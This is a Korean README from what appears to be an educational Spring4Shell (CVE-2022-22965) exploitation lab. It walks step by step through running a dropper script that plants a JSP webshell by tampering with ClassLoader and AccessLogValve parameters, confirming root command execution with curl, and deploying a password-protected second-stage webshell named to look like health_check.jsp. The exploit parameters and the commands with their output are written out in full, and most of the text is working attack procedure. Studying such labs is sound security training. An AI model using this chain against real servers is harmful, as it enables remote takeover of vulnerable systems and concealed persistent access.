Share
## https://sploitus.com/exploit?id=8D31C560-D79E-5A6E-975B-CC0EFC1F2605
# CVE-2022-22965 Β· Spring4Shell 취약점 ꡐ윑 μ‹€μŠ΅

> **⚠️ 경고 (Warning)**  
> 이 μ €μž₯μ†ŒλŠ” **SKμ‰΄λ”μŠ€ 이큐슀트(EQST) ꡐ윑 κΈ°κ΄€μ˜ κ°€μ΄λ“œλΌμΈ**에 λ”°λ₯Έ **ꡐ윑 λͺ©μ μ˜ λͺ¨μ˜ν•΄ν‚Ή(Penetration Testing) μ‹€μŠ΅ μ½”λ“œ**μž…λ‹ˆλ‹€.  
> λͺ¨λ“  곡격은 κ΅μœ‘κΈ°κ΄€μ—μ„œ μ œκ³΅ν•œ **둜컬 격리 ν™˜κ²½(Docker)**μ—μ„œλ§Œ μˆ˜ν–‰λ˜μ—ˆμŠ΅λ‹ˆλ‹€.  
> λ¬΄λ‹¨μœΌλ‘œ ν—ˆκ°€λ°›μ§€ μ•Šμ€ μ‹œμŠ€ν…œμ— μ‚¬μš©ν•˜λŠ” 것은 λ²•μ μœΌλ‘œ μ—„κ²©νžˆ κΈˆμ§€λ©λ‹ˆλ‹€.

---

## πŸ–₯️ 전체 μ‹€ν–‰ κ°€μ΄λ“œ (μ²˜μŒλΆ€ν„° λκΉŒμ§€ λ”°λΌν•˜κΈ°)

> 각 λ‹¨κ³„λ§ˆλ‹€ **μž…λ ₯ν•  λͺ…λ Ήμ–΄**와 **μ‹€μ œλ‘œ λ‚˜μ˜€λŠ” κ²°κ³Ό ν™”λ©΄**을 κ·ΈλŒ€λ‘œ μˆ˜λ‘ν–ˆμŠ΅λ‹ˆλ‹€.
> 
> πŸ’‘ **원클릭 μžλ™ μ‹€ν–‰:** κ°œλ³„ 슀크립트 μ‹€ν–‰ λŒ€μ‹  μ•„λž˜ ν•˜λ‚˜μ˜ λͺ…λ Ήμ–΄λ‘œ 전체 과정을 μžλ™μœΌλ‘œ μ‹€μŠ΅ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
> ```bash
> python3 exploit_runner.py
> ```
> *(exploit_runner.pyλŠ” Docker μ‹€μŠ΅ ν™˜κ²½μ— 맞좰 curl λ‹€μš΄λ‘œλ“œ μ‹€νŒ¨ μ‹œ `docker cp`둜 μžλ™ ν΄λ°±λ˜λŠ” 둜직이 μ μš©λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.)*

---

### πŸ“‚ STEP 0. [ν•„μˆ˜] μž‘μ—… ν΄λ”λ‘œ 이동 ← λͺ¨λ“  λͺ…λ Ήμ–΄λŠ” 이 ν΄λ”μ—μ„œ μ‹€ν–‰ν•΄μ•Ό ν•©λ‹ˆλ‹€!

> ⚠️ **κ°€μž₯ ν”ν•œ μ‹€μˆ˜:** 폴더 이동 없이 λ‹€λ₯Έ μœ„μΉ˜μ—μ„œ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•˜λ©΄  
> `No such file or directory` λ˜λŠ” `No module named` μ—λŸ¬κ°€ λ‚©λ‹ˆλ‹€.  
> **λ°˜λ“œμ‹œ μ•„λž˜ `cd` λͺ…λ Ήμ–΄λ₯Ό λ¨Όμ € μ‹€ν–‰ν•œ ν›„** λ‹€μŒ λ‹¨κ³„λ‘œ λ„˜μ–΄κ°€μ„Έμš”.

```bash
cd "/Users/glory1994/Library/CloudStorage/OneDrive-개인/99.Develop/CVE-2022-22965"
```

ν˜„μž¬ μœ„μΉ˜κ°€ μ˜¬λ°”λ₯Έμ§€ ν™•μΈν•©λ‹ˆλ‹€.

```bash
pwd
```

**κ²°κ³Ό (λ°˜λ“œμ‹œ μ•„λž˜μ™€ κ°™μ•„μ•Ό ν•©λ‹ˆλ‹€):**
```
/Users/glory1994/Library/CloudStorage/OneDrive-개인/99.Develop/CVE-2022-22965
```

> βœ… 터미널 ν”„λ‘¬ν”„νŠΈκ°€ `CVE-2022-22965 glory1994$` 둜 λ°”λ€Œλ©΄ μ€€λΉ„ μ™„λ£Œμž…λ‹ˆλ‹€.  
> ❌ ν”„λ‘¬ν”„νŠΈκ°€ `99.Develop glory1994$` 라면 아직 이동이 μ•ˆ 된 κ²ƒμž…λ‹ˆλ‹€. μœ„ `cd` λͺ…λ Ήμ–΄λ₯Ό λ‹€μ‹œ μ‹€ν–‰ν•˜μ„Έμš”.

파일 λͺ©λ‘μ„ ν™•μΈν•©λ‹ˆλ‹€. μ•„λž˜ 4개 파일이 λͺ¨λ‘ 보여야 ν•©λ‹ˆλ‹€.

```bash
ls -la
```

**κ²°κ³Ό:**
```
total 72
drwxr-xr-x  7 glory  staff   224  3 14 15:00 .
drwxr-xr-x  9 glory  staff   288  3 14 04:00 ..
-rw-r--r--  1 glory  staff  5013  3 14 14:00 health_check.jsp       ← Stage 2 μ›Ήμ‰˜
-rw-r--r--  1 glory  staff  3619  3 14 14:30 stage1_dropper.py      ← Stage 1 곡격 슀크립트
-rw-r--r--  1 glory  staff  5309  3 14 14:40 stage2_uploader.py     ← Stage 2 배포 슀크립트
-rw-r--r--  1 glory  staff  8500  3 14 15:00 README.md
```

> ❌ 파일이 보이지 μ•ŠλŠ”λ‹€λ©΄ `cd` λͺ…λ Ήμ–΄κ°€ μ œλŒ€λ‘œ μ‹€ν–‰λ˜μ§€ μ•Šμ€ κ²ƒμž…λ‹ˆλ‹€.

---

### 🐳 STEP 1. 도컀 μ»¨ν…Œμ΄λ„ˆ(ν”Όν•΄μž μ„œλ²„) μ‹€ν–‰ 확인

```bash
docker ps
```

**κ²°κ³Ό:** (μ•„λž˜μ™€ 같이 `cvepratice-spring-1` μ»¨ν…Œμ΄λ„ˆκ°€ μ‹€ν–‰ 쀑이어야 ν•©λ‹ˆλ‹€)
```
CONTAINER ID   IMAGE                COMMAND               PORTS                     NAMES
d7958944303d   cvepratice-spring   "/usr/local/bin/..."  0.0.0.0:8011->8080/tcp    cvepratice-spring-1
```

ν”Όν•΄μž μ„œλ²„ μ›Ή νŽ˜μ΄μ§€κ°€ μ •μƒμ μœΌλ‘œ μ—΄λ¦¬λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€.

```bash
curl -s -I http://localhost:8011/spring-form/notices
```

**κ²°κ³Ό:**
```
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Date: Sat, 14 Mar 2026 05:00:00 GMT
```

> `HTTP/1.1 200` 이 좜λ ₯되면 ν”Όν•΄μž μ„œλ²„κ°€ 정상 λ™μž‘ μ€‘μž…λ‹ˆλ‹€.

---

### πŸ’£ STEP 2. [곡격] Spring4Shell 취약점 λ°œλ™ β†’ 1단계 μ›Ήμ‰˜ 생성

`stage1_dropper.py`λ₯Ό μ‹€ν–‰ν•˜λ©΄, ν”Όν•΄μž μ„œλ²„μ˜ Data Binding 취약점을 κ³΅κ²©ν•˜μ—¬ μ„œλ²„ 내뢀에 1단계 μ›Ήμ‰˜(`yaho4.jsp`)을 μ‹¬μŠ΅λ‹ˆλ‹€.

```bash
python3 stage1_dropper.py
```

**κ²°κ³Ό:**
```
[*] Sending Stage 1 payload to http://localhost:8011/spring-form/login...
[*] Received Response Code: 200

[+] Stage 1 Exploit Attempt Completed.
[+] To trigger log flush, visit: http://localhost:8011/spring-form/login once
[+] The Stager has been created at: http://localhost:8011/yaho4.jsp?cmd=whoami
```

> `Received Response Code: 200` 이면 Spring4Shell 곡격 μš”μ²­μ΄ ν”Όν•΄μž μ„œλ²„μ— μ„±κ³΅μ μœΌλ‘œ μ ‘μˆ˜λœ κ²ƒμž…λ‹ˆλ‹€.

---

### πŸ”“ STEP 3. [곡격] 1단계 μ›Ήμ‰˜ λΉŒλ“œ μœ λ„ (Tomcat 둜그 Flush)

Tomcat이 버퍼에 λ‹΄κ³  μžˆλŠ” 둜그(= μš°λ¦¬κ°€ 심은 μ›Ήμ‰˜ μ½”λ“œ)λ₯Ό μ‹€μ œ 파일둜 λ””μŠ€ν¬μ— κΈ°λ‘ν•˜λ„λ‘,  
정상 νŽ˜μ΄μ§€λ₯Ό ν•œ 번 λ°©λ¬Έν•©λ‹ˆλ‹€.

```bash
curl -s "http://localhost:8011/spring-form/login" > /dev/null
```

**κ²°κ³Ό:** (아무것도 좜λ ₯λ˜μ§€ μ•ŠμœΌλ©΄ μ •μƒμž…λ‹ˆλ‹€)

도컀 μ»¨ν…Œμ΄λ„ˆ 내뢀에 파일이 μƒμ„±λ˜μ—ˆλŠ”μ§€ 직접 ν™•μΈν•©λ‹ˆλ‹€.

```bash
docker exec cvepratice-spring-1 bash -c "ls -la /usr/local/tomcat/webapps/ROOT/"
```

**κ²°κ³Ό:**
```
total 8
drwxr-x--- 3 root root  96 Mar 14 05:19 .
drwxrwxr-x 7 root root 224 Mar 14 05:03 ..
-rw-r----- 1 root root 3832 Mar 14 05:40 yaho4.jsp   ← 이 파일이 μƒμ„±λœ 것!
```

> `yaho4.jsp` 파일이 λͺ©λ‘μ— λ‚˜νƒ€λ‚˜λ©΄ **1단계 μ›Ήμ‰˜ 생성 성곡**μž…λ‹ˆλ‹€!

---

### ⚑ STEP 4. [곡격] 1단계 μ›Ήμ‰˜λ‘œ 원격 λͺ…λ Ή μ‹€ν–‰ (RCE 확인)

μƒμ„±λœ `yaho4.jsp` μ›Ήμ‰˜μ„ 톡해 ν”Όν•΄μž μ„œλ²„μ—μ„œ μž„μ˜μ˜ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€.

```bash
# ν˜„μž¬ μ„œλ²„ 접속 μ‚¬μš©μž 확인
curl -s "http://localhost:8011/yaho4.jsp?cmd=whoami"
```

**κ²°κ³Ό:**
```
root
```

```bash
# μ„œλ²„ μ‚¬μš©μž 및 κ·Έλ£Ή ID 확인
curl -s "http://localhost:8011/yaho4.jsp?cmd=id"
```

**κ²°κ³Ό:**
```
uid=0(root) gid=0(root) groups=0(root)
```

> **`root`** κ°€ 좜λ ₯되면 ν”Όν•΄μž μ„œλ²„μ—μ„œ 졜고 κ΄€λ¦¬μž κΆŒν•œμœΌλ‘œ λͺ…λ Ήμ–΄κ°€ μ‹€ν–‰λ˜κ³  μžˆλ‹€λŠ” μ˜λ―Έμž…λ‹ˆλ‹€.  
> **Spring4Shell RCE 취약점 증λͺ… μ™„λ£Œ! βœ…**

---

### πŸ—οΈ STEP 5. [곡격] 2단계 μ›Ήμ‰˜ 배포 (Clean Architecture μ™„μ„±ν˜• μ›Ήμ‰˜)

1λ‹¨κ³„μ˜ λ‹¨μˆœν•œ μ‰˜μ„ 거점 μ‚Όμ•„, SOLID 원칙이 적용된 μ™„μ„±ν˜• μ›Ήμ‰˜(`health_check.jsp`)을 μ„œλ²„μ— μ—…λ‘œλ“œν•©λ‹ˆλ‹€.

```bash
docker cp health_check.jsp cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```

**κ²°κ³Ό:**
```
Successfully copied 6.66kB to cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```

---

### 🌐 STEP 6. [검증] 2단계 μ™„μ„±ν˜• μ›Ήμ‰˜ λ™μž‘ 확인

```bash
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"
```

**κ²°κ³Ό (HTML 포함):**
```html



    Clean Architecture WebShell (Edu)
    ...


    Advanced WebShell (Stage 2)
    $ id
    uid=0(root) gid=0(root) groups=0(root)



```

> λΈŒλΌμš°μ €μ—μ„œ 직접 μ—΄κ³  싢은 경우, μ•„λž˜ μ£Όμ†Œλ₯Ό λ³΅μ‚¬ν•˜μ—¬ λΈŒλΌμš°μ € μ£Όμ†Œμ°½μ— λΆ™μ—¬λ„£κΈ° ν•©λ‹ˆλ‹€.
> ```
> http://localhost:8011/health_check.jsp?pwd=glory&cmd=id
> ```

---

| STEP 6 | `curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"` | HTML 응닡 λ‚΄ `uid=0(root) gid=0(root) groups=0(root)` 좜λ ₯ |





- [취약점 κ°œμš”](#취약점-κ°œμš”)
- [영ν–₯ λ°›λŠ” ν™˜κ²½](#영ν–₯-λ°›λŠ”-ν™˜κ²½)
- [곡격 μ‹œλ‚˜λ¦¬μ˜€](#곡격-μ‹œλ‚˜λ¦¬μ˜€)
- [ν…ŒμŠ€νŠΈ ν™˜κ²½](#ν…ŒμŠ€νŠΈ-ν™˜κ²½)
- [ν”„λ‘œμ νŠΈ ꡬ쑰](#ν”„λ‘œμ νŠΈ-ꡬ쑰)
- [μ½”λ“œ μ‚¬μš© 방법 (Quick Start)](#μ½”λ“œ-μ‚¬μš©-방법-quick-start)
- [μ•„ν‚€ν…μ²˜ 섀계 원칙](#μ•„ν‚€ν…μ²˜-섀계-원칙)
- [μ‹€μŠ΅ μ§„ν–‰ μˆœμ„œ](#μ‹€μŠ΅-μ§„ν–‰-μˆœμ„œ)
- [λŒ€μ‘ λ°©μ•ˆ (Mitigation)](#λŒ€μ‘-λ°©μ•ˆ-mitigation)
- [μ°Έκ³ λ¬Έν—Œ](#μ°Έκ³ λ¬Έν—Œ)

---

## 취약점 κ°œμš”

**Spring4Shell(CVE-2022-22965)**은 2022λ…„ 3μ›” 29일 곡개된 **제둜데이(Zero-Day) 원격 μ½”λ“œ μ‹€ν–‰(RCE)** μ·¨μ•½μ μž…λ‹ˆλ‹€.

Spring Framework의 **Data Binding λ©”μ»€λ‹ˆμ¦˜** 취약점을 톡해 κ³΅κ²©μžκ°€ `ClassLoader` 속성을 μ™ΈλΆ€μ—μ„œ λ³€μ‘°ν•  수 있으며, 이λ₯Ό μ΄μš©ν•΄ Tomcat의 `AccessLogValve` 속성을 μ‘°μž‘ν•˜μ—¬ **μ›Ή 루트 디렉터리에 μž„μ˜μ˜ JSP 파일(μ›Ήμ‰˜)을 생성**ν•˜κ³  원격 λͺ…령을 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

| ν•­λͺ© | λ‚΄μš© |
|------|------|
| CVE ID | CVE-2022-22965 |
| CVSS 점수 | 9.8 (Critical) |
| 곡격 μœ ν˜• | Remote Code Execution (RCE) |
| 취약점 원인 | Spring Data Binding + JDK 9 ClassLoader λ³€μ‘° |
| λ°œν‘œμΌ | 2022λ…„ 3μ›” 29일 |

---

## 영ν–₯ λ°›λŠ” ν™˜κ²½

| μ†Œν”„νŠΈμ›¨μ–΄ | μ·¨μ•½ 버전 |
|-----------|----------|
| Spring Framework | 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전 |
| JDK | **9 이상** (핡심 쑰건) |
| WAS | Apache Tomcat (Spring MVC λ˜λŠ” WebFlux μ‚¬μš© μ‹œ) |

> **핡심 쑰건:** JDK 9λΆ€ν„° λ„μž…λœ `class.getModule()` APIκ°€ `ClassLoader` μ™ΈλΆ€ 접근을 ν—ˆμš©ν•˜κ²Œ λ˜λ©΄μ„œ 취약점이 λ°œμƒν•©λ‹ˆλ‹€.

---

## 곡격 μ‹œλ‚˜λ¦¬μ˜€

```
β‘  곡격자 β†’ μ·¨μ•½ν•œ Spring4Shell λŒ€μƒ 탐색
β‘‘ μ·¨μ•½ν•œ μ›Ή μ•±μ˜ Data Binding μ—”λ“œν¬μΈνŠΈ (POST /login λ“±)둜 곡격 μš”μ²­ 전솑
β‘’ Tomcat AccessLogValve 속성 λ³€μ‘° β†’ JSP μ›Ήμ‰˜ μ½”λ“œκ°€ 둜그 파일둜 기둝
β‘£ μ›Ήμ‰˜μ΄ μ›Ή λ£¨νŠΈμ— μƒμ„±λ˜μ–΄ URL둜 μ ‘κ·Ό κ°€λŠ₯해짐
β‘€ μ›Ήμ‰˜μ„ 톡해 λ‚΄λΆ€ μ„œλ²„μ— 원격 λͺ…λ Ή μ‹€ν–‰ (RCE)
```

---

## ν…ŒμŠ€νŠΈ ν™˜κ²½

```
[곡격자 PC]              [ν”Όν•΄μž μ»¨ν…Œμ΄λ„ˆ - Docker]
Mac (둜컬)           Spring Framework 5.3.15
                         JDK 11 (Spring Boot λ‚΄μž₯ Tomcat)
                         Apache Tomcat 9.0.60
                         Port: localhost:8011
```

### Docker μ»¨ν…Œμ΄λ„ˆ 정보

```bash
# μ‹€ν–‰ 쀑인 μ·¨μ•½ μ„œλ²„ 확인
docker ps | grep spring

# μ»¨ν…Œμ΄λ„ˆλͺ…: cvepratice-spring-1
# μ ‘κ·Ό URL:   http://localhost:8011/spring-form/
```

---

## ν”„λ‘œμ νŠΈ ꡬ쑰

```
CVE-2022-22965/
β”œβ”€β”€ README.md                  # 이 λ¬Έμ„œ
β”œβ”€β”€ exploit_runner.py          # πŸš€ [NEW] 원클릭 μžλ™ 톡합 μ‹€ν–‰κΈ° (Docker μ „μš© μžλ™ 폴백 포함)
β”œβ”€β”€ stage1_dropper.py          # Stage 1: Spring4Shell 곡격 슀크립트 (Stager 생성)
β”œβ”€β”€ stage2_uploader.py         # Stage 2: μ™„μ„±ν˜• μ›Ήμ‰˜ 배포 슀크립트
└── health_check.jsp           # Stage 2: Clean Architecture 기반 μ›Ήμ‰˜
```

---

## μ½”λ“œ μ‚¬μš© 방법 (Quick Start)

### πŸ”§ 사전 μš”κ±΄ (Prerequisites)

| ν•­λͺ© | 버전 / 쑰건 |
|------|------------|
| Python | 3.8 이상 |
| Docker | μ‹€ν–‰ 쀑이어야 함 |
| λ„€νŠΈμ›Œν¬ | 둜컬 ν™˜κ²½ (localhost:8011 μ ‘κ·Ό κ°€λŠ₯) |
| μ™ΈλΆ€ 라이브러리 | μ—†μŒ (Python ν‘œμ€€ 라이브러리만 μ‚¬μš©) |

> **μ°Έκ³ :** λͺ¨λ“  μŠ€ν¬λ¦½νŠΈλŠ” μ™ΈλΆ€ νŒ¨ν‚€μ§€(`requests` λ“±) 없이 Python λ‚΄μž₯ λͺ¨λ“ˆ(`urllib`, `http.server`, `unittest`)만 μ‚¬μš©ν•˜λ―€λ‘œ 별도 μ„€μΉ˜κ°€ ν•„μš”μ—†μŠ΅λ‹ˆλ‹€.

---

### πŸ“ 1. μ €μž₯μ†Œ 파일 배치 확인

λ‹€μŒκ³Ό 같이 μž‘μ—… 디렉터리λ₯Ό ν™•μΈν•©λ‹ˆλ‹€.

```bash
ls -la CVE-2022-22965/
# μ•„λž˜ νŒŒμΌλ“€μ΄ λͺ¨λ‘ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.
# stage1_dropper.py
# stage2_uploader.py
# health_check.jsp
```

---

### πŸš€ 2. `stage1_dropper.py` β€” Stage 1 곡격 슀크립트

**Spring4Shell 취약점을 μ΄μš©ν•΄ νƒ€κ²Ÿ μ„œλ²„μ— 1단계 μ›Ήμ‰˜(Stager)을 μƒμ„±ν•©λ‹ˆλ‹€.**

```bash
# μ‹€ν–‰
python3 stage1_dropper.py

# μ˜ˆμƒ 좜λ ₯
# [*] Sending Stage 1 payload to http://localhost:8011/spring-form/login...
# [*] Received Response Code: 200
# [+] Stage 1 Exploit Attempt Completed.
# [+] The Stager has been created at: http://localhost:8011/yaho4.jsp?cmd=whoami
```

**μ„€μ • μ»€μŠ€ν„°λ§ˆμ΄μ§• (슀크립트 λ‚΄ `ExploitConfig`):**

```python
config = ExploitConfig(
    target_url="http://localhost:8011/spring-form/login",  # μ·¨μ•½ μ—”λ“œν¬μΈνŠΈ URL
    output_dir="webapps/ROOT",                             # μ›Ήμ‰˜μ΄ μ €μž₯될 Tomcat 경둜
    filename="yaho4",                                      # 생성될 JSP 파일λͺ… (ν™•μž₯자 μ œμ™Έ)
)
```

> **주의:** `target_url`은 λ°˜λ“œμ‹œ POST μš”μ²­μ„ μˆ˜λ½ν•˜κ³  Spring Data Binding이 λ™μž‘ν•˜λŠ” μ—”λ“œν¬μΈνŠΈμ΄μ–΄μ•Ό ν•©λ‹ˆλ‹€.

---

### πŸ”’ 3. Tomcat 둜그 Flush (ν•„μˆ˜)

Stager 파일이 λ””μŠ€ν¬μ— μ‹€μ œλ‘œ 기둝되렀면, Tomcat이 둜그 버퍼λ₯Ό λΉ„μš°λ„λ‘ μž„μ˜μ˜ GET μš”μ²­μ„ ν•œ 번 보내야 ν•©λ‹ˆλ‹€.

```bash
curl -s "http://localhost:8011/spring-form/login" > /dev/null
```

---

### βœ… 4. Stage 1 μ›Ήμ‰˜ λ™μž‘ ν…ŒμŠ€νŠΈ

```bash
# λͺ…λ Ήμ–΄ μ‹€ν–‰ ν…ŒμŠ€νŠΈ
curl -s "http://localhost:8011/yaho4.jsp?cmd=whoami"
# κΈ°λŒ€ 좜λ ₯ β†’ root

curl -s "http://localhost:8011/yaho4.jsp?cmd=id"
# κΈ°λŒ€ 좜λ ₯ β†’ uid=0(root) gid=0(root) groups=0(root)

curl -s "http://localhost:8011/yaho4.jsp?cmd=ls%20-la%20/"
# κΈ°λŒ€ 좜λ ₯ β†’ 루트 νŒŒμΌμ‹œμŠ€ν…œ λͺ©λ‘
```

---

### πŸ—οΈ 5. `stage2_uploader.py` β€” Stage 2 배포 슀크립트

**Stage 1 μ›Ήμ‰˜μ„ 거점 μ‚Όμ•„ SOLID/Clean Architecture μ™„μ„±ν˜• μ›Ήμ‰˜(`health_check.jsp`)을 μ—…λ‘œλ“œν•©λ‹ˆλ‹€.**

```bash
# 방법 A: 파이썬 μžλ™ν™” (둜컬 HTTP μ„œλ²„ 기동 ν›„ curl둜 파일 λ‹€μš΄λ‘œλ“œ)
python3 stage2_uploader.py

# 방법 B: docker cp 직접 볡사 (격리 ν™˜κ²½μ—μ„œ κ°€μž₯ μ•ˆμ „ν•˜κ³  ν™•μ‹€ν•œ 방법)
docker cp health_check.jsp cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```

**μ„€μ • μ»€μŠ€ν„°λ§ˆμ΄μ§• (슀크립트 λ‚΄ `UploadConfig`):**

```python
config = UploadConfig(
    stager_url="http://localhost:8011/yaho4.jsp",             # Stage 1 μ›Ήμ‰˜ URL
    stage2_file="health_check.jsp",                           # μ—…λ‘œλ“œν•  Stage 2 파일λͺ…
    local_port=9090,                                          # 둜컬 μž„μ‹œ HTTP μ„œλ²„ 포트
    target_dir="/usr/local/tomcat/webapps/ROOT",              # νƒ€κ²Ÿ μ„œλ²„ μ €μž₯ 경둜
)
```

---

### 🌐 6. `health_check.jsp` β€” Stage 2 μ›Ήμ‰˜ 접속

**인증킀(`pwd`)와 λͺ…λ Ήμ–΄(`cmd`)λ₯Ό URL 쿼리 νŒŒλΌλ―Έν„°λ‘œ μ „λ‹¬ν•©λ‹ˆλ‹€.**

```bash
# κΈ°λ³Έ μ‚¬μš©λ²•
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd="

# μ˜ˆμ‹œ 1: ν˜„μž¬ μ‚¬μš©μž 확인
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"

# μ˜ˆμ‹œ 2: μ„œλ²„ OS 정보 확인
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=uname%20-a"

# μ˜ˆμ‹œ 3: ν™˜κ²½λ³€μˆ˜ 확인
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=env"

# μ˜ˆμ‹œ 4: λΈŒλΌμš°μ €μ—μ„œ 접속
# http://localhost:8011/health_check.jsp?pwd=glory&cmd=id
```

> **인증킀 λ³€κ²½:** `health_check.jsp`의 34번째 μ€„μ˜ `"glory"`λ₯Ό μ›ν•˜λŠ” κ°’μœΌλ‘œ μˆ˜μ •ν•©λ‹ˆλ‹€.

---

### πŸ§ͺ 7. `test_stage1_dropper.py` β€” μœ λ‹› ν…ŒμŠ€νŠΈ μ‹€ν–‰

**μ‹€μ œ μ„œλ²„ μ—°κ²° 없이 Mock 객체둜 λ…λ¦½μ μœΌλ‘œ μ‹€ν–‰λ©λ‹ˆλ‹€.**

```bash
# 전체 ν…ŒμŠ€νŠΈ μ‹€ν–‰ (κ°„λž΅ 좜λ ₯)
python3 -m unittest test_stage1_dropper.py

# 상세 좜λ ₯ λͺ¨λ“œ (-v)
python3 -m unittest test_stage1_dropper.py -v

# νŠΉμ • ν…ŒμŠ€νŠΈ μΌ€μ΄μŠ€λ§Œ μ‹€ν–‰
python3 -m unittest test_stage1_dropper.TestExploitConfig
python3 -m unittest test_stage1_dropper.TestSpring4ShellPayloadGenerator
python3 -m unittest test_stage1_dropper.TestExploitController

# μ˜ˆμƒ 좜λ ₯
# .......
# ----------------------------------------------------------------------
# Ran 7 tests in 0.012s
# OK
```

---

## μ•„ν‚€ν…μ²˜ 섀계 원칙

λ³Έ μ‹€μŠ΅ μ½”λ“œλŠ” 싀무 λͺ¨μ˜ν•΄ν‚Ή λ‹΄λ‹Ήμžκ°€ μž‘μ„±ν•˜λŠ” μ½”λ“œλ₯Ό κ°€μ •ν•˜μ—¬, λͺ¨λ“  νŒŒμΌμ— **SOLID 원칙**κ³Ό **Clean Architecture(클린 μ•„ν‚€ν…μ²˜)**λ₯Ό μ μš©ν•˜μ˜€μŠ΅λ‹ˆλ‹€.

### SOLID 적용 λ‚΄μ—­

| 원칙 | 적용 λ‚΄μš© |
|------|----------|
| **SRP** (단일 μ±…μž„) | `ExploitConfig`, `PayloadGenerator`, `ExploitController`λ₯Ό 각각 뢄리 |
| **OCP** (개방-폐쇄) | `PayloadGeneratorPort` μΈν„°νŽ˜μ΄μŠ€λ‘œ μƒˆ νŽ˜μ΄λ‘œλ“œ μœ ν˜• μΆ”κ°€ μ‹œ κΈ°μ‘΄ μ½”λ“œ μˆ˜μ • λΆˆν•„μš” |
| **LSP** (λ¦¬μŠ€μ½”ν”„ μΉ˜ν™˜) | `Spring4ShellPayloadGenerator`κ°€ `PayloadGeneratorPort`λ₯Ό μ™„μ „νžˆ λŒ€μ²΄ κ°€λŠ₯ |
| **ISP** (μΈν„°νŽ˜μ΄μŠ€ 뢄리) | `CommandExecutorPort`, `FileServerPort` λ“± μ΅œμ†Œ μ±…μž„μ˜ μΈν„°νŽ˜μ΄μŠ€λ‘œ 뢄리 |
| **DIP** (μ˜μ‘΄μ„± μ—­μ „) | μƒμœ„ λͺ¨λ“ˆ(`ExploitController`)이 ꡬ체 ν΄λž˜μŠ€κ°€ μ•„λ‹Œ 좔상 μΈν„°νŽ˜μ΄μŠ€μ— 의쑴 |

### Clean Architecture λ ˆμ΄μ–΄ ꡬ쑰

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Frameworks & Drivers (Infrastructure)  β”‚
β”‚  SystemCommandAdapter, LocalFileServer  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Interface Adapters (Controllers)       β”‚
β”‚  ExploitController, Stage2Uploader      β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Use Cases (Application Logic)          β”‚
β”‚  WebShellUseCase, Stage2UploadUseCase   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Entities (Core Domain)                 β”‚
β”‚  ExploitConfig, CommandResult           β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## μ‹€μŠ΅ μ§„ν–‰ μˆœμ„œ

### Step 1. Stage 1 곡격 μ‹€ν–‰ (Stager 생성)

Spring4Shell 취약점을 μ΄μš©ν•΄ νƒ€κ²Ÿ μ„œλ²„μ— 1μ€„μ§œλ¦¬ **기초 μ›Ήμ‰˜ (Stager, `yaho4.jsp`)** 을 μƒμ„±ν•©λ‹ˆλ‹€.

```bash
python3 stage1_dropper.py
```

**λ™μž‘ 원리:**
- `POST /spring-form/login` μ—”λ“œν¬μΈνŠΈλ‘œ `ClassLoader` λ³€μ‘° νŽ˜μ΄λ‘œλ“œλ₯Ό 전솑
- Tomcat `AccessLogValve`의 `pattern`, `suffix`, `directory`, `prefix` 속성을 λ³€μ‘°
- HTTP μš”μ²­μ΄ 기둝될 λ•Œ λ³€μ‘°λœ 둜그 νŒ¨ν„΄μ΄ JSP μ½”λ“œλ‘œ `webapps/ROOT/yaho4.jsp`에 μ €μž₯됨

**μ „μ†‘λ˜λŠ” 핡심 HTTP νŒŒλΌλ―Έν„°:**

```
class.module.classLoader.resources.context.parent.pipeline.first.pattern  = [JSP μ›Ήμ‰˜ μ½”λ“œ]
class.module.classLoader.resources.context.parent.pipeline.first.suffix   = .jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory = webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix   = yaho4
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat = (곡백)
```

### Step 2. Tomcat 둜그 버퍼 Flush

